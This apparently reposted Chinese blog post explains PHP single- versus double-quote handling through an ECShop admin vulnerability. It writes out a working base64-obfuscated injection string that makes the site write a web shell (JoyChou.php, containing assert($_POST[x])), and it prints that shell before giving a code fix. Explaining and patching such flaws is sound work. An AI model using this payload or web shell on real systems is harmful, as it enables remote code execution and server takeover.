最新消息: 新版网站上线了!!!

php中双引号和单引号的区别

测试:


单引号

双引号

$name = 'hello';
echo "the $name";

会输出 the hello

$name = 'hello';
echo 'the $name';

会输出 the $name 


在php开发中对单引号和双引号的区别使用意义很大,可是大家开发中对这个很忽略,如果改使用单引号的地方,使用双引号的话,容易引起恶意攻击,插入任意恶意代码

下面以ecshop中的一个漏洞为例

一、登陆后台->进入到此页面http://127.0.0.1/shop/admin/edit_languages.php,效果图如下

1.png

二、修改“用户信息“为  

用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}

2.jpg

结果是:修改了/languages/zh_cn/user.php这个脚本中的

3.png

修改之后的结果是:

$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";

4.png

结果分析:

是否发现修改之后的$_LANG['label_profile']的值是被双引号包围,修改之前的是单引号,由于这里是双引号,而且里面有变量,所以当被调用到时,里面的变量会执行,由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行,执行http://127.0.0.1/ecshop/user.php 机会执行上述代码,结果是在ecshop根目录生成了文件JoyChou.php

JoyChou.php里面的代码:

<?php  assert($_POST[x]);  ?>


修改办法:

修改\admin\edit_languages.php

// 修复前

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';  

// 修复后,由于想在单引号之间出现单引号,必须使用转义。

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

把双引号修改为单引号

结果在执行http://127.0.0.1/ecshop/user.php 发现不会生成JoyChou.php

小结:通过这个可以发现区别使用单引号</a>和双引号的重要意义,至于生成的JoyChou.php这个文件有什么作用自己研究一下,到时黑客可以生成执行各种攻击的脚步代码


转载请注明:谷谷点程序 » php中双引号和单引号的区别